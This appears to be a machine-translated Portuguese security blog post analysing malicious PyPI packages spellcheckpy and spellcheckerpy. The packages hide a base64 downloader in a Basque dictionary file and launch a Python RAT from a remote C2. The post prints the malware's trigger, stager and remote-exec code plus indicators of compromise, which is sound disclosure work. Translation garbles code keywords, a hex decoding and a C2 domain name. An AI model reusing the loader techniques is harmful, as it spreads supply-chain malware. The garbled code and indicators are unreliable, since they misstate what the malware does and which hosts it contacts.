Aikido

Pacotes PyPI maliciosos spellcheckpy e spellcheckerpy entregam Python RAT

Charlie EriksenCharlie Eriksen
|
#
#
#

Nos dias 20 e 21 de janeiro de 2026, o nosso pipeline de detecção de malware sinalizou dois novos pacotes PyPI: spellcheckerpy e spellcheckpy. Ambos alegaram ser os autores legítimos da biblioteca pyspellchecker. Ambos estão ligados ao seu repositório GitHub real.

Não eram dele.

Escondido dentro do ficheiro do dicionário da língua basca estava um payload codificado em base64 que descarrega um RAT Python completo. O atacante publicou primeiro três versões "dormentes", com o payload presente, mas sem o gatilho, e depois ativou o gatilho com spellcheckpy v1.2.0, adicionando um gatilho de execução ofuscado que é acionado no momento em que você importa Corretor ortográfico.

A carga útil escondida à vista de todos

Os autores do malware foram criativos. Em vez dos suspeitos habituais (postinstall scripts, ofuscados __init__.py), eles enterraram a carga útil dentro recursos/eu.json.gz, um ficheiro que contém legitimamente frequências de palavras bascas no real pyspellchecker pacote.

Aqui está a função de extração em utils.py:

def test_file(filepath: PathOrStr, encoding: str, index: str):
    filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
    with gzip.open(filepath, "rt", encoding=encoding) as f:
        data = json.loads(f.read())
        return data[index]

Parece inocente. Mas quando chamado com test_file("eu", "utf-8", "spellchecker"), ele não recupera frequências de palavras. Ele recupera um descarregador codificado em base64 escondido entre as entradas do dicionário sob uma chave chamada spellchecker.

Adormecido, depois mortal

Nas três primeiras versões, a carga útil é extraída e descodificada... mas nunca executada:

test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# É issoé tudo. Sem exec(). A carga útil fica simplesmente ali.

Uma arma carregada com a segurança ativada.

Então veio spellcheckpy v1.2.0. O invasor mudou o gatilho para WordFrequency.__init__ e ofuscação adicional:

if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"), 
                "<string>", 
                bytes.fromhex("65786563").decode("utf-8"))):
    self._evaluate = True

Está a ver? Aquilo bytes.fromhex("65786563") decodifica para "executivo".

Em vez de escrever exec() diretamente, o que os scanners estáticos sinalizariam, eles reconstruem a string a partir do hexadecimal em tempo de execução. Importar Corretor ortográfico, instanciá-lo e o RAT será executado.

O RAT: Controlo remoto total

A carga útil da fase 1 é um programa de download. Ele obtém a carga útil real de https://updatenet[.]work/settings/history.php e o gera num processo separado:

p = subprocess.Popen(
    ["python3", "-"], 
    stdin=subprocess.PIPE, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    start_new_session=True)

p.stdin.write(downloaded_payload)
p.stdin.close()

Isso iniciar_nova_sessão=Verdadeiro é fundamental: o RAT sobrevive mesmo que o seu script seja encerrado. Nenhum ficheiro é gravado no disco. Silencioso. Desconectado.

O RAT de fase 2 é um trojan de acesso remoto completo com algumas características interessantes:

Impressão digital do sistema no init:

szObjectID = ''.join(random.choice(string.ascii_letters) para x em intervalo(12))
szPCode = "Sistema operativo: " + plataforma.plataforma()
szComputerName = "Nome do computador: " + socket.gethostname()

Criptografia XOR de camada dupla para comunicações C2: O RAT usa uma chave XOR de 16 bytes ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) para a camada externa e, em seguida, um XOR secundário com a chave 123 para cargas de comando. Não é criptograficamente forte, mas é suficiente para evitar a deteção baseada em assinatura.

Protocolo binário personalizado: Os comandos são devolvidos como [ID do comando de 4 bytes][comprimento de 4 bytes][carga útil encriptada com XOR]. O RAT analisa isso, descodifica e despacha.

Execução arbitrária de código: Quando o comando ID 1001 chega, o RAT simplesmente... o executa:

if nCMDID == 1001: 
    exec(szCode)

Loop de beacon persistente:

O RAT liga para casa a cada 5 segundos para https://updatenet[.]work/update1.php, enviando o ID da vítima (campanha

FD429DEABE) e aguardando comandos. A validação do certificado SSL é desativada através de

ssl._create_unverified_context().

Infraestrutura C2

O domínio C2 atualizar[.]trabalho resolve para infraestruturas com um histórico documentado de hospedagem de atividades maliciosas.

Registo de domínio:

  • Domínio: atualizar[.]trabalho
  • Registado: 28 de outubro de 2025 (aproximadamente 3 meses antes da publicação do malware)

Infraestrutura de alojamento:

  • Endereço IP: 172.86.73[.]139
  • ASN: AS14956 RouterHosting LLC
  • Localização: Dallas, Texas, EUA
  • Domínio associado: cloudzy.com
  • Rede: 172.86.73.0/24

Por que isso é importante: a RouterHosting LLC opera como Cloudzy, um provedor de hospedagem amplamente documentado como um «Provedor de Comando e Controlo» (C2P). Em agosto de 2023, a Halcyon publicou um relatório intitulado «Cloudzy com possibilidade de ransomware», que descobriu que 40-60% do tráfego da Cloudzy era de natureza maliciosa. O relatório associou a infraestrutura da Cloudzy a grupos APT da China, Irão, Coreia do Norte, Rússia e outras nações, bem como a operadores de ransomware e a um fornecedor de spyware israelita sancionado.

Ligação a campanhas anteriores

Este não é um incidente isolado. Em novembro de 2025, A HelixGuard documentou um ataque semelhante. usando o pacote spellcheckers (mesmo alvo, nome diferente). Essa campanha usou a mesma estrutura RAT: criptografia XOR, ID de comando 1001, exec(), mas infraestrutura C2 diferente (dothebest[.]store). O relatório da HelixGuard associou essa campanha a uma manobra de engenharia social falsa que visava os detentores de criptomoedas.

Domínios diferentes, mesmo manual. Parece ser exatamente o mesmo agente de ameaças em ação. 

Indicadores de Comprometimento

Pacotes: spellcheckerpy (todas as versões), spellcheckpy (todas as versões)

C2 Infraestrutura:

  • atualizar[.]trabalho
  • https://updatenet[.]work/settings/history.php (entrega da fase 2)
  • https://updatenet[.]work/update1.php (ponto final do beacon)
  • 172.86.73[.]139 (AS14956 RouterHosting LLC / Cloudzy)

Identificadores da campanha:

  • ID da campanha: FD429DEABE
  • Chave XOR: 03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05
  • XOR secundário: 0x7B (123)

Localização da carga útil:

recursos/eu.json.gz, corretor ortográfico principal

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.